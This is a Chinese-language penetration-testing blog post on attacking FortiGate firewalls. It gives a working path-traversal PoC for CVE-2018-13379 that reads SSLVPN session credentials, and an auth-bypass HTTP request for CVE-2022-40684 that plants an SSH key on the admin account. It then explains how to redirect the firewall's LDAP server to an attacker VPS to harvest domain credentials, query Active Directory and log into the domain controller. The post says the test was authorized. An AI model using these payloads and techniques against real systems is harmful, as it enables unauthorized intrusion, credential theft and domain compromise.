FortiGate(飞塔)是为企业级用户提供的网络安全服务的设备。其具备即时监测病毒与蠕虫、过滤网络数据包内容的能力,并提供高效能的防火墙、VPN、和流量监控漏洞扫描等功能。
我们最近在一次授权的渗透测试任务中,遇到了飞塔防火墙设备。我们对该设备利用进行了研究。在本文中我们回顾了飞塔历史中较严重的两个漏洞。并且结合实际经验,分享一个利用的技巧。
CVE-2018-13379是SSLVPN中的一个目录遍历漏洞,该漏洞源于网络系统或产品未能正确地过滤资源或文件路径中的特殊元素,导致攻击者可利用该漏洞访问受限目录之外的文件,从而获取敏感信息,我们可以读SSLVPN的session文件来获取账号密码。
POC:
https://xxx.xxx.xxx.xxx:443/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession
POC:
PUT /api/v2/cmdb/system/admin/admin HTTP/2
Host: 127.0.0.1::9980
User-Agent: Report
Accept-Encoding: gzip, deflate
Accept: */*
Forwarded: for="[127.0.0.1]:8000";by="[127.0.0.1]:9000";
X-Forwarded-Vdom: admin
Content-Type: application/json
Content-Length: 411
{ "ssh-public-key1":"\"公钥\""}
ForiGate是支持VPN功能的,所以我们可以通过配置vpn进行远程连接,对目标进行扫描
如何配置VPN我就不再详述了,有兴趣的同学可以参考这篇文章:https://blog.csdn.net/meigang2012/article/details/87903878
我们配置好VPN之后本地路由会同步过来,根据路由信息,我们可以对具有特殊性的网段进行探测
在ForiView Sessions 可以看到内网主机经过ForiGate的连接,我们可以通过分析,获取主机上的各种信息,以及目标的一些常用业务网站的地址等其他信息,帮助我们更好的进行横向。
例如:可以通过Session信息看到目标主机上安装了卡巴斯基(Kaspersky)。
什么是LDAP
LDAP是一种目录服务协议,通常记录着用户的身份属性以及Computer,邮箱等信息,该协议定义了如何去访问目录服务器以及相关的API。
AD是目录服务器中的一种,我们可以通过LDAP协议去访问AD目录服务器,同时对AD目录服务器的数据进行操作和查询操作。
域控制器默认会开启端口389,当我拿到一个LDAP用户的时候,也就相当于拿到了一个域账户
具体利用方式
通过阅读官方文档,我们不难看出,在配置LDAP的账号都是具有一定权限的,这就意味着我们只要拿到LDAP账号,就有很大可能能登录域控
之前有位国外的大佬对 CVE-2022-40684 进行了分析,并给出了获取LDAP配置的POC,可以看到,通过API是可以获取信息的
但是通过实际的测试,password字段是没有办法获取明文的
但是,在编辑配置的过程中我发现server是受我们控制的,所以我们尝试通过把源配置的地址修改成我们恶意VPS的地址,进行测试连接
VPS监听389端口,果然我们会发现防火墙会对我们的服务器进行账号密码验证,从而使我们抓到账号密码
通工具连接LDAP,我们可以轻松的获取的域内的信息
通过3389远程连接域控
通过脚本进行自动化获取信息。
其实利用的点还很多,这里只是我们总结的一个方面。在渗透测试过程中,很多时候,我们要懂得变通。耐得住寂寞,开拓思维,等待着柳暗花明又一村。